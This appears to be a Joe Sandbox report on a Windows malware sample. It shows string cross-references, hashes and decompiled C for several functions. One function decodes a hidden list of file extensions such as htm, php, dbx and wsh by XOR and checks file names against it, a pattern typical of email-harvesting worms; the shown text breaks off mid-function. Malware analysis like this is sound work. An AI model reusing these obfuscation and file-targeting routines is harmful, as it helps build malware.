o, xrefs: 0040EABE
c, xrefs: 0040E518
<, xrefs: 0040E777
a, xrefs: 0040E62E
n, xrefs: 0040E636
Ljq, xrefs: 0040E5C0
a, xrefs: 0040E7A6
rebyc, xrefs: 0040ED77
j, xrefs: 0040E38C
n, xrefs: 0040E1FE
@, xrefs: 0040DF62
s, xrefs: 0040E328
q, xrefs: 0040E557
t, xrefs: 0040E96C
o, xrefs: 0040E394
A, xrefs: 0040DF4A
d, xrefs: 0040E9CA
,, xrefs: 0040E30B
n, xrefs: 0040E424
a, xrefs: 0040E9DA
c, xrefs: 0040EAA6
r, xrefs: 0040ECD3
i, xrefs: 0040E78E
s, xrefs: 0040E108
x$], xrefs: 0040E376
n, xrefs: 0040E9C2
s, xrefs: 0040E1EE
W, xrefs: 0040DF3A
g, xrefs: 0040E73F
o, xrefs: 0040ECDB
A, xrefs: 0040E306
j, xrefs: 0040E55F
o, xrefs: 0040E3BB
6, xrefs: 0040E3C3
a, xrefs: 0040E7DD
e, xrefs: 0040E0F8
j, xrefs: 0040DEFD
hyb, xrefs: 0040ED23
I, xrefs: 0040E8FD
n, xrefs: 0040E7C5
y, xrefs: 0040E974
l, xrefs: 0040EAC6
C, xrefs: 0040E747
r, xrefs: 0040E9D2
a, xrefs: 0040E9BA
l, xrefs: 0040E0E8
!, xrefs: 0040E323
a, xrefs: 0040E528
n, xrefs: 0040E9A3
dualc, xrefs: 0040EC6E
h, xrefs: 0040ECC3
fna, xrefs: 0040E8D9
s, xrefs: 0040E7B5
3, xrefs: 0040E915
a, xrefs: 0040E434
o, xrefs: 0040E1F6
u, xrefs: 0040E530
a, xrefs: 0040ECCB
h, xrefs: 0040E39C
N, xrefs: 0040DF5A
S, xrefs: 0040E71F

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: !$!$($,$,$3$6$<$@$A$A$B$C$I$Ljq$N$O$S$W$W$a$a$a$a$a$a$a$a$a$a$b$c$c$d$d$d$dualc$e$e$e$e$f$fna$g$h$h$hyb$i$j$j$j$j$l$l$l$l$lmada$m$n$n$n$n$n$n$n$n$n$n$o$o$o$o$o$q$r$r$r$r$rebyc$s$s$s$s$s$s$t$t$u$x$]$y$y
API String ID: 0-1246891121
Opcode ID: 43c16ada332a8dd709468707ff4d6f0fce7f85d4f85c0fd8587031f39c8da794
Instruction ID: a28a096e937e9de4dcdb39462e473e9428d52a79a1e09a05438f9163ff59b36a
Opcode Fuzzy Hash: 43c16ada332a8dd709468707ff4d6f0fce7f85d4f85c0fd8587031f39c8da794
Instruction Fuzzy Hash: 0192C02400D7C18AE332CB7894547DFFFD15BA6318F489E9EC4ED6A292C6B60149CB67

Uniqueness

Uniqueness Score: -1.00%

Function 00405310, Relevance: 112.4, APIs: 2, Strings: 62, Instructions: 376
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E00405310(void* __ebx, void* __edi, void* __esi, void* __ebp, intOrPtr _a4) {
				intOrPtr _v4;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				intOrPtr _v32;
				char* _v36;
				char* _v40;
				signed int* _v44;
				char* _v48;
				signed char* _v52;
				char* _v56;
				intOrPtr _v60;
				char* _v64;
				char* _v68;
				char* _v72;
				char* _v76;
				char* _v80;
				intOrPtr _v84;
				char* _v88;
				signed char* _v92;
				char* _v96;
				signed char* _v100;
				signed char* _v104;
				char* _v108;
				char* _v112;
				char* _v116;
				signed char* _v120;
				char* _v124;
				char* _v128;
				char* _v132;
				intOrPtr _v136;
				char* _v140;
				char* _v144;
				intOrPtr _v148;
				signed char _v149;
				signed char _v150;
				signed char _v151;
				signed char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v157;
				char _v158;
				char _v159;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				signed char _v165;
				signed char _v166;
				signed char _v167;
				signed char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				signed char _v173;
				signed char _v174;
				signed char _v175;
				signed char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v181;
				char _v182;
				char _v183;
				char _v184;
				char _v185;
				char _v186;
				char _v187;
				char _v188;
				char _v189;
				char _v190;
				char _v191;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v197;
				char _v198;
				char _v199;
				char _v200;
				signed char _v201;
				signed char _v202;
				signed char _v203;
				signed char _v204;
				signed char _v205;
				signed char _v206;
				signed char _v207;
				signed char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v213;
				char _v214;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v229;
				char _v230;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v237;
				char _v238;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v245;
				char _v246;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				signed int _v253;
				signed int _v254;
				signed int _v255;
				signed int _v256;
				intOrPtr _t286;
				intOrPtr _t289;
				void* _t290;
				void* _t296;
				void* _t301;
				void* _t306;
				intOrPtr _t311;
				intOrPtr _t312;
				char _t313;
				void* _t328;
				signed int _t335;
				char _t337;
				char _t340;
				char _t343;
				char _t346;
				void* _t352;
				intOrPtr _t395;
				char _t398;
				char _t399;
				char _t400;
				char _t401;
				char _t402;
				void* _t403;
				CHAR* _t404;
				intOrPtr _t406;
				signed int* _t409;
				signed int* _t410;
				signed int* _t411;

				_t286 =  *0x4310d8; // 0x2c0d4047
				_v4 = _t286;
				_v184 = 0x61;
				_v232 = 0x61;
				_t335 = 0;
				_push(4);
				_push( &_v192);
				_v183 = 0x64;
				_v182 = 0x62;
				_v181 = 0;
				_v231 = 0x73;
				_v230 = 0x70;
				_v229 = 0;
				_v192 = 0xd3;
				_v191 = 0xda;
				_v190 = 0x3e;
				_v189 = 0x24;
				_v256 = 0x27;
				_v255 = 0x44;
				_v254 = 0x22;
				_v253 = 0x45;
				_t289 = E00405290( &_v256);
				_t409 =  &(( &_v256)[2]);
				_v148 = _t289;
				_v164 = 0x63;
				_v163 = 0x67;
				_v162 = 0x69;
				_v161 = 0;
				_v224 = 0x64;
				_v223 = 0x62;
				_v222 = 0x78;
				_v221 = 0;
				_v12 = 0x64;
				_v11 = 0x68;
				_v10 = 0x74;
				_v9 = 0x6d;
				_v8 = 0;
				_v256 = 0xfd;
				_v255 = 0x3e;
				_v254 = 0x99;
				_v253 = 0xb2;
				_t290 = 0;
				_t398 = 3;
				do {
					_t337 =  *((intOrPtr*)(_t409 + _t290 + 0xc));
					 *((char*)(_t409 + _t290 + 0xc)) =  *((intOrPtr*)(_t409 + _t398 + 0xc));
					_t290 = _t290 + 1;
					 *((char*)(_t409 + _t398 + 0xc)) = _t337;
					_t398 = _t398 - 1;
				} while (_t290 < _t398);
				_v176 = _v256 ^ 0x000000d7;
				_v173 = _v253 ^ 0x000000fd;
				_v160 = 0x6a;
				_v254 = 0x6a;
				_v175 = _v255 ^ 0x000000f4;
				_v174 = _v254 ^ 0x00000052;
				_v216 = 0x68;
				_v215 = 0x74;
				_v214 = 0x6d;
				_v213 = 0;
				_v28 = 0x68;
				_v27 = 0x74;
				_v26 = 0x6d;
				_v25 = 0x6c;
				_v24 = 0;
				_v159 = 0x73;
				_v158 = 0x70;
				_v157 = 0;
				_v256 = 2;
				_v255 = 0x1e;
				_v253 = 0xb7;
				_t296 = 0;
				_t399 = 3;
				do {
					_t340 =  *((intOrPtr*)(_t409 + _t296 + 0xc));
					 *((char*)(_t409 + _t296 + 0xc)) =  *((intOrPtr*)(_t409 + _t399 + 0xc));
					_t296 = _t296 + 1;
					 *((char*)(_t409 + _t399 + 0xc)) = _t340;
					_t399 = _t399 - 1;
				} while (_t296 < _t399);
				_v208 = _v256 ^ 0x000000da;
				_v205 = _v253 ^ 0x00000002;
				_v207 = _v255 ^ 0x00000008;
				_v206 = _v254 ^ 0x00000066;
				_v256 = 0xb7;
				_v255 = 0xc3;
				_v254 = 0x2a;
				_v253 = 0x74;
				_t301 = 0;
				_t400 = 3;
				do {
					_t343 =  *((intOrPtr*)(_t409 + _t301 + 0xc));
					 *((char*)(_t409 + _t301 + 0xc)) =  *((intOrPtr*)(_t409 + _t400 + 0xc));
					_t301 = _t301 + 1;
					 *((char*)(_t409 + _t400 + 0xc)) = _t343;
					_t400 = _t400 - 1;
				} while (_t301 < _t400);
				_v168 = _v256 ^ 0x00000019;
				_v165 = _v253 ^ 0x000000b7;
				_v167 = _v255 ^ 0x0000004e;
				_v166 = _v254 ^ 0x000000bb;
				_v200 = 0x6d;
				_v199 = 0x68;
				_v198 = 0x74;
				_v197 = 0;
				_v256 = 0x6f;
				_v255 = 0x93;
				_v254 = 0xc7;
				_v253 = 0xd;
				_t306 = 0;
				_t401 = 3;
				do {
					_t346 =  *((intOrPtr*)(_t409 + _t306 + 0xc));
					 *((char*)(_t409 + _t306 + 0xc)) =  *((intOrPtr*)(_t409 + _t401 + 0xc));
					_t306 = _t306 + 1;
					 *((char*)(_t409 + _t401 + 0xc)) = _t346;
					_t401 = _t401 - 1;
				} while (_t306 < _t401);
				_v152 = _v256 ^ 0x00000060;
				_v151 = _v255 ^ 0x000000aa;
				_push(4);
				_push( &_v156);
				_v150 = _v254 ^ 0x000000f5;
				 *0x431c84 = 6;
				_v149 = _v253 ^ 0x0000006f;
				_v252 = 0x6d;
				_v251 = 0x73;
				_v250 = 0x67;
				_v249 = 0;
				_v156 = 3;
				_v155 = 0xb6;
				_v154 = 0x9f;
				_v153 = 0x7a;
				_v256 = 0x76;
				_v255 = 0x18;
				_v254 = 0x7b;
				_v253 = 0x13;
				_t311 = E00405290( &_v256);
				_push(4);
				_push( &_v240);
				_t395 = _t311;
				_v248 = 0x6f;
				_v247 = 0x64;
				_v246 = 0x73;
				_v245 = 0;
				_v244 = 0x6f;
				_v243 = 0x66;
				_v242 = 0x74;
				_v241 = 0;
				_v236 = 0x74;
				_v235 = 0x62;
				_v234 = 0x62;
				_v233 = 0;
				_v228 = 0x74;
				_v227 = 0x78;
				_v226 = 0x74;
				_v225 = 0;
				_v220 = 0x75;
				_v219 = 0x69;
				_v218 = 0x6e;
				_v217 = 0;
				_v240 = 0xcf;
				_v239 = 8;
				_v238 = 0x17;
				_v237 = 4;
				_v256 = 5;
				_v255 = 0x72;
				_v254 = 0x13;
				_v253 = 0x71;
				_t312 = E00405290( &_v256);
				_t410 =  &(_t409[4]);
				_t406 = _t312;
				_v212 = 0x77;
				_v211 = 0x73;
				_v210 = 0x68;
				_v209 = 0;
				_v256 = 0xdc;
				_v255 = 0xab;
				_v254 = 0x74;
				_v253 = 0xac;
				_t352 = 0;
				_t402 = 3;
				do {
					_t313 =  *((intOrPtr*)(_t410 + _t352 + 0x10));
					 *((char*)(_t410 + _t352 + 0x10)) =  *((intOrPtr*)(_t410 + _t402 + 0x10));
					_t352 = _t352 + 1;
					 *((char*)(_t410 + _t402 + 0x10)) = _t313;
					_t402 = _t402 - 1;
				} while (_t352 < _t402);
				_v204 = _v256 ^ 0x000000d4;
				_v203 = _v255 ^ 0x00000019;
				_v202 = _v254 ^ 0x000000c7;
				_v201 = _v253 ^ 0x000000dc;
				_v136 = _v148;
				_v144 =  &_v184;
				_v140 =  &_v232;
				_v132 =  &_v164;
				_v128 =  &_v224;
				_v124 =  &_v12;
				_v120 =  &_v176;
				_v116 =  &_v216;
				_v112 =  &_v28;
				_v108 =  &_v160;
				_v104 =  &_v208;
				_v100 =  &_v168;
				_v96 =  &_v200;
				_v92 =  &_v152;
				_v88 =  &_v252;
				_v80 =  &_v248;
				_v76 =  &_v244;
				_v72 =  &_v236;
				 *0x431c84 = 6;
				_v196 = 0x70;
				_v195 = 0x68;
				_v194 = 0x70;
				_v193 = 0;
				_v256 = 0x70;
				_v255 = 0x6c;
				_v254 = 0;
				_v188 = 0x73;
				_v187 = 0x68;
				_v186 = 0x74;
				_v185 = 0;
				_v20 = 0x73;
				_v19 = 0x68;
				_v18 = 0x74;
				_v17 = 0x6d;
				_v16 = 0;
				_v180 = 0xc3;
				_v179 = 0x49;
				_v178 = 0xc5;
				_v177 = 0x38;
				_v172 = 0xef;
				_v171 = 0x9c;
				_v170 = 0xe8;
				_v169 = 0x85;
				_v84 = _t395;
				_v68 =  &_v228;
				_v64 =  &_v220;
				_v60 = _t406;
				_v56 =  &_v212;
				_v52 =  &_v204;
				_v44 =  &_v256;
				_v48 =  &_v196;
				_v40 =  &_v188;
				_push(4);
				_push( &_v180);
				_v36 =  &_v20;
				_v32 = E00405290( &_v172);
				_t328 = E00425420(_a4, _a4, 0x2e);
				_t411 =  &(_t410[4]);
				_t403 = _t328;
				if(_t403 == 0) {
					L14:
					return E00424873(0, _v4);
				} else {
					_t404 = _t403 + 1;
					while(lstrcmpiA(_t404,  *(_t411 + 0x7c + _t335 * 4)) != 0) {
						_t335 = _t335 + 1;
						if(_t335 < 0x1d) {
							continue;
						} else {
							goto L14;
						}
						goto L16;
					}
					return E00424873(1, _v4);
				}
				L16:
			}

0x00405316
0x0040531c
0x00405327
0x0040532b
0x00405333
0x00405335
0x00405337
0x0040533c
0x00405341
0x00405346
0x0040534a
0x0040534f
0x00405354
0x00405358
0x0040535d
0x00405362
0x00405367
0x0040536c
0x00405371
0x00405376
0x0040537b
0x00405380
0x00405385
0x00405388
0x0040538c
0x00405391
0x00405396
0x0040539b
0x0040539f
0x004053a4
0x004053a9
0x004053ae
0x004053b2
0x004053ba
0x004053c2
0x004053ca
0x004053d2
0x004053d9
0x004053de
0x004053e3
0x004053e8
0x004053ed
0x004053ef
0x004053f4
0x004053f8
0x004053fc
0x00405400
0x00405401
0x00405405
0x00405406
0x00405418
0x00405422
0x0040542e
0x00405432
0x00405436
0x0040543a
0x0040543e
0x00405443
0x00405448
0x0040544d
0x00405451
0x00405459
0x00405461
0x00405469
0x00405471
0x00405478
0x0040547d
0x00405482
0x00405486
0x0040548b
0x00405490
0x00405495
0x00405497
0x004054a0
0x004054a4
0x004054a8
0x004054ac
0x004054ad
0x004054b1
0x004054b2
0x004054c4
0x004054d4
0x004054d8
0x004054dc
0x004054e0
0x004054e5
0x004054ea
0x004054ef
0x004054f4
0x004054f6
0x00405500
0x00405504
0x00405508
0x0040550c
0x0040550d
0x00405511
0x00405512
0x00405524
0x00405534
0x00405538
0x0040553c
0x00405540
0x00405545
0x0040554a
0x0040554f
0x00405553
0x00405558
0x0040555d
0x00405562
0x00405567
0x00405569
0x00405570
0x00405574
0x00405578
0x0040557c
0x0040557d
0x00405581
0x00405582
0x00405598
0x004055a0
0x004055a8
0x004055af
0x004055b4
0x004055bb
0x004055c2
0x004055c9
0x004055ce
0x004055d3
0x004055d8
0x004055dc
0x004055e1
0x004055e6
0x004055eb
0x004055f0
0x004055f5
0x004055fa
0x004055ff
0x00405604
0x0040560d
0x0040560f
0x00405614
0x00405616
0x0040561b
0x00405620
0x00405625
0x00405629
0x0040562e
0x00405633
0x00405638
0x0040563c
0x00405641
0x00405646
0x0040564b
0x0040564f
0x00405654
0x00405659
0x0040565e
0x00405662
0x00405667
0x0040566c
0x00405671
0x00405675
0x0040567a
0x0040567f
0x00405684
0x00405689
0x0040568e
0x00405693
0x00405698
0x0040569d
0x004056a2
0x004056a5
0x004056a7
0x004056ac
0x004056b1
0x004056b6
0x004056ba
0x004056bf
0x004056c4
0x004056c9
0x004056ce
0x004056d0
0x004056e0
0x004056e4
0x004056e8
0x004056ec
0x004056ed
0x004056f1
0x004056f2
0x00405704
0x00405714
0x00405718
0x0040571c
0x00405724
0x0040572f
0x0040573a
0x00405745
0x00405750
0x0040575e
0x00405769
0x00405774
0x00405782
0x00405795
0x0040579c
0x004057a3
0x004057b6
0x004057bd
0x004057c4
0x004057d7
0x004057de
0x004057e5
0x004057f8
0x004057ff
0x00405804
0x00405809
0x0040580e
0x00405812
0x00405817
0x0040581c
0x00405820
0x00405825
0x0040582a
0x0040582f
0x00405833
0x0040583b
0x00405843
0x0040584b
0x00405853
0x0040585a
0x0040585f
0x00405864
0x00405869
0x0040586e
0x00405873
0x00405878
0x0040587d
0x00405882
0x00405889
0x00405890
0x00405897
0x0040589e
0x004058a9
0x004058b8
0x004058c3
0x004058ce
0x004058dc
0x004058de
0x004058e3
0x004058f9
0x00405900
0x00405905
0x00405908
0x0040590d
0x0040592a
0x0040593f
0x0040590f
0x00405915
0x00405916
0x00405922
0x00405926
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405926
0x0040595a
0x0040595a
0x00000000

Strings

f, xrefs: 0040562E
u, xrefs: 00405662
p, xrefs: 004057FF
g, xrefs: 00405391
*, xrefs: 004054EA
E, xrefs: 0040537B
t, xrefs: 00405633
w, xrefs: 004056A7
8, xrefs: 00405869
m, xrefs: 00405461
s, xrefs: 004055CE
h, xrefs: 004053BA
t, xrefs: 004056C4
h, xrefs: 00405825
b, xrefs: 00405646
z, xrefs: 004055EB
d, xrefs: 0040561B
o, xrefs: 00405616
s, xrefs: 00405820
p, xrefs: 00405809
q, xrefs: 00405698
t, xrefs: 00405843
{, xrefs: 004055FA
I, xrefs: 0040585F
D, xrefs: 00405371
o, xrefs: 00405553
s, xrefs: 00405478
t, xrefs: 0040563C
r, xrefs: 0040568E
s, xrefs: 004056AC
b, xrefs: 00405641
v, xrefs: 004055F0
", xrefs: 00405376
i, xrefs: 00405396
d, xrefs: 004053B2
g, xrefs: 004055D3
c, xrefs: 0040538C
m, xrefs: 004053CA
G@,, xrefs: 00405316
h, xrefs: 00405804
t, xrefs: 0040582A
o, xrefs: 00405629
t, xrefs: 00405459
t, xrefs: 004053C2
s, xrefs: 00405620
i, xrefs: 00405667
p, xrefs: 0040547D
h, xrefs: 00405451
s, xrefs: 00405833
t, xrefs: 004054EF
h, xrefs: 0040583B
h, xrefs: 004056B1
>, xrefs: 004053DE
b, xrefs: 00405341
l, xrefs: 00405817
n, xrefs: 0040566C
$, xrefs: 00405367
m, xrefs: 0040584B
m, xrefs: 004055C9
l, xrefs: 00405469
p, xrefs: 00405812
', xrefs: 0040536C

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID: "$$$'$*$8$>$D$E$G@,$I$b$b$b$c$d$d$f$g$g$h$h$h$h$h$h$i$i$l$l$m$m$m$m$n$o$o$o$p$p$p$p$q$r$s$s$s$s$s$s$t$t$t$t$t$t$t$t$u$v$w$z${
API String ID: 0-1884858620
Opcode ID: 8a5a3c4c6769900c5574127e7be7bd684675318f2718d754a9158b27d764485c
Instruction ID: d93a35099a26fe614cb1a3d73480c0d45d8b3759dc0d557f6e2bb2caa7de7eb8
Opcode Fuzzy Hash: 8a5a3c4c6769900c5574127e7be7bd684675318f2718d754a9158b27d764485c
Instruction Fuzzy Hash: 5C12E82540D7C1CDD322CB28945478FFFD15FA6618F489E9EE1E847392D2BA8209CB67

Uniqueness

Uniqueness Score: -1.00%

Function 00415BD0, Relevance: 110.1, APIs: 6, Strings: 67, Instructions: 646memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,00000000), ref: 004164B1
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,00000014), ref: 004164EB
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000014), ref: 004164F2
lstrlenA.KERNEL32(?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,00000014), ref: 0041654B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004165E3
HeapFree.KERNEL32(00000000), ref: 004165EA

Strings

^, xrefs: 0041638F
?, xrefs: 00415ED2
A, xrefs: 00416042
], xrefs: 00415E96
c, xrefs: 00415D4E
\, xrefs: 00415EC3
c, xrefs: 00415C7F
:, xrefs: 00415D44
:, xrefs: 00415C04
{, xrefs: 00415F03
I, xrefs: 00415EF4
7, xrefs: 004160FE
., xrefs: 00415C91
\, xrefs: 00416376
7, xrefs: 00416402
0, xrefs: 00415C3E
&, xrefs: 004163BC
#, xrefs: 00416248
i, xrefs: 00416033
S, xrefs: 00416211
g, xrefs: 004163B2
n, xrefs: 00416234
U, xrefs: 00416051
/, xrefs: 00415D61
M, xrefs: 004163CB
z, xrefs: 00415C34
d, xrefs: 00416220
', xrefs: 00415EC8
M, xrefs: 00415EA0
O, xrefs: 00415DB0
>, xrefs: 004163C6
n, xrefs: 004163DA
4, xrefs: 00415C25
v, xrefs: 004160F9
n, xrefs: 004161B3
k, xrefs: 004163D0
7, xrefs: 004163E4
b, xrefs: 004163F8
3, xrefs: 004163A8
., xrefs: 0041634E
s, xrefs: 00415EE6
G@,, xrefs: 00415BE0
l, xrefs: 00415CBE
T, xrefs: 004163B7
2, xrefs: 00415C68
6, xrefs: 00415ED7
', xrefs: 00415C20
], xrefs: 00415D8D
a, xrefs: 0041640C
h, xrefs: 0041604C
9, xrefs: 00415E55
p, xrefs: 00416056
f, xrefs: 00415EFE
?, xrefs: 00415D66
M, xrefs: 00415C8C
p, xrefs: 00416385
F, xrefs: 00415D79
G, xrefs: 004163F3
N, xrefs: 00415D97
d, xrefs: 00416029
U, xrefs: 004163A3
", xrefs: 004160D1
{, xrefs: 00415BFF
a, xrefs: 004163EE
~, xrefs: 0041635D
|, xrefs: 0041603D
Y, xrefs: 00415C09

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Heap$Processlstrlen$AllocFree
String ID: "$#$&$'$'$.$.$/$0$2$3$4$6$7$7$7$9$:$:$>$?$?$A$F$G$G@,$I$M$M$M$N$O$S$T$U$U$Y$\$\$]$]$^$a$a$b$c$c$d$d$f$g$h$i$k$l$n$n$n$p$p$s$v$z${${$|$~
API String ID: 2204526134-4280088057
Opcode ID: 35d8601f16750b3f0a8b14371d56d770c5ec2ac2de7b2246bbd6a7e197c30585
Instruction ID: d3d8d2549f7682fd1551bd31a31a6895d5c84ed4d1ce20b04fc8ae49b41e83c9
Opcode Fuzzy Hash: 35d8601f16750b3f0a8b14371d56d770c5ec2ac2de7b2246bbd6a7e197c30585
Instruction Fuzzy Hash: D8622A2110D7C189D322CB3C985868FBFD51BA7218F585E9DF5E44B3E3C2AA8249C767

Uniqueness

Uniqueness Score: -1.00%

Function 00409CF7, Relevance: 109.5, Strings: 87, Instructions: 708
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E00409CF7(void* __eax, signed int _a16, char _a17, char _a18, char _a19, char _a20, char _a24, char _a28, char _a29, char _a30, char _a36, char _a37, char _a38, char _a39, char _a40, char _a41, char _a42, char _a43, intOrPtr _a48, intOrPtr _a52, intOrPtr _a56, intOrPtr _a60, intOrPtr _a64, intOrPtr _a68, intOrPtr _a72, intOrPtr _a76, intOrPtr _a80, intOrPtr _a84, intOrPtr _a88, intOrPtr _a92, intOrPtr _a96, intOrPtr _a100, intOrPtr _a104, intOrPtr _a108, intOrPtr _a112, intOrPtr _a116, intOrPtr _a120, intOrPtr _a124, intOrPtr _a128, char* _a132, intOrPtr _a136, intOrPtr _a140, intOrPtr _a144, intOrPtr _a148, char* _a152, char* _a156, char* _a160, char* _a164, char* _a168, intOrPtr _a172, intOrPtr _a176, intOrPtr _a180, char* _a184, char* _a188, char* _a192, char* _a196, intOrPtr _a200, char* _a204, intOrPtr _a208, char* _a212, char* _a216, char* _a220, char* _a224, char* _a228, intOrPtr _a232, char* _a236, intOrPtr _a240, char* _a244, char* _a248, char* _a252, intOrPtr _a256, char* _a260, intOrPtr _a264, char* _a268, intOrPtr _a272, intOrPtr _a276, char* _a280, char* _a284, char* _a288, intOrPtr _a292, intOrPtr _a296, intOrPtr _a300, intOrPtr _a304, char* _a308, char* _a312, intOrPtr _a316, char* _a320, char* _a324, char* _a328, char* _a332, intOrPtr _a336, char* _a340, intOrPtr _a344, intOrPtr _a348, char* _a352, intOrPtr _a356, intOrPtr _a360, char* _a364, char* _a368, intOrPtr _a372, void* _a376, char _a377, char _a378, char _a379, char _a380, char _a381, char _a382, char _a383, char _a384, char _a385, char _a386, char _a387, char _a388, char _a389, char _a390, char _a391, char _a392, char _a393, char _a394, char _a395, char _a396, char _a397, char _a398, char _a400, char _a404, char _a405, char _a406, char _a407, char _a408, char _a416, char _a424, char _a425, char _a426, char _a427, char _a428, char _a432, char _a436, char _a437, char _a438, char _a439, char _a440, char _a448, char _a456, char _a464, char _a472, char _a480, char _a488, char _a496, char _a504, char _a505, char _a506, char _a507, char _a508, char _a509, char _a512, char _a520, char _a528, char _a529, char _a530, char _a531, char _a532, char _a533, char _a534, char _a535, char _a536, char _a537, char _a538, char _a544, char _a552, char _a560, char _a568, char _a576, char _a577, char _a578, char _a579, char _a580, char _a581, char _a582, char _a584, char _a585, char _a586, char _a587, char _a588, char _a589, char _a590, char _a592, char _a596, char _a597, char _a598, char _a599, char _a600, char _a601, char _a602, char _a603, char _a608, char _a609, char _a610, char _a611, char _a612, char _a613, char _a614, char _a615, char _a616, char _a624, char _a625, char _a626, char _a627, char _a628, char _a629, char _a630, char _a631, char _a632, char _a633, char _a634, char _a635, char _a636, char _a637, char _a638, char _a639, char _a640, char _a641, char _a642, char _a643, char _a644, char _a645, char _a646, char _a647, char _a648, char _a649, char _a650, char _a651, char _a652, char _a653, char _a654, char _a655, char _a656, char _a668, char _a688, char _a689, char _a690, char _a691, char _a692, char _a693, char _a694, char _a695, char _a696, char _a704, char _a705, char _a706, char _a707, char _a708, char _a768, char _a769, char _a770, char _a771, char _a772, char _a773, char _a774, char _a776, char _a777, char _a778, char _a779, char _a780, char _a781, char _a782, char _a783, char _a792, char _a793, char _a794, char _a795, char _a796, char _a797, char _a798, char _a799, char _a808, char _a809, char _a810, char _a811, char _a812, char _a813, char _a814, char _a815, char _a816, char _a820, char _a821, char _a822, char _a823, char _a824, char _a825, char _a826, char _a827, char _a828, char _a832, char _a833, char _a834, char _a835, char _a836, char _a837, char _a838, char _a839, char _a840, char _a856, char _a857, char _a858, char _a859, char _a860, char _a861, char _a862, char _a863, char _a864, char _a865, char _a866, intOrPtr _a872, intOrPtr _a892, intOrPtr _a896, intOrPtr _a900, intOrPtr _a916) {
				void* _t598;
				signed int _t602;
				intOrPtr _t604;
				intOrPtr _t605;
				void* _t606;
				void* _t607;
				void* _t608;
				intOrPtr _t610;
				intOrPtr _t616;
				void* _t617;
				void* _t618;
				intOrPtr _t619;
				void* _t620;
				void* _t621;
				void* _t622;
				void* _t623;
				intOrPtr _t625;
				void* _t626;
				void* _t631;
				intOrPtr _t634;
				intOrPtr _t635;
				void* _t636;
				void* _t637;
				intOrPtr _t640;
				void* _t644;
				char _t645;
				intOrPtr _t661;
				void* _t685;
				intOrPtr _t768;
				intOrPtr _t770;
				signed int _t771;
				intOrPtr _t773;
				void* _t775;
				void* _t776;
				void* _t778;
				void* _t779;
				void* _t780;
				void* _t781;
				void* _t782;

				_t598 = __eax;
				do {
					 *(_t775 + _t598 + 0x238) =  *(_t775 + _t598 + 0x238) ^ 0x0000005a;
					_t598 = _t598 + 1;
				} while (_t598 < 7);
				_a704 = 0x7a;
				_a705 = 0xb8;
				_a706 = 0x1e;
				_a707 = 0x91;
				_a708 = 0xf2;
				_a380 = 0xf2;
				_a381 = 0xe4;
				_a382 = 0x7a;
				_a383 = 0xdd;
				_a384 = 0x54;
				_a112 = E004073E0( &_a380, 5,  &_a704);
				_a404 = 0x29;
				_a405 = 0x6e;
				_a406 = 0x9e;
				_a407 = 0x34;
				_a408 = 0xd0;
				_a376 = 7;
				_a377 = 9;
				_a378 = 0xf1;
				_a379 = 0x42;
				_a380 = 0xd0;
				_t602 = 0;
				do {
					 *(_t775 + _t602 + 0x198) =  *(_t775 + _t602 + 0x198) ^  *(_t775 + _t602 + 0x17c);
					_t602 = _t602 + 1;
				} while (_t602 < 5);
				_a380 = 0xd0;
				_push(5);
				_push( &_a688);
				_a688 = 0xdb;
				_a689 = 0x69;
				_a690 = 0x84;
				_a691 = 0x23;
				_a692 = 3;
				_a381 = 0xfe;
				_a382 = 0x93;
				_a383 = 0xfa;
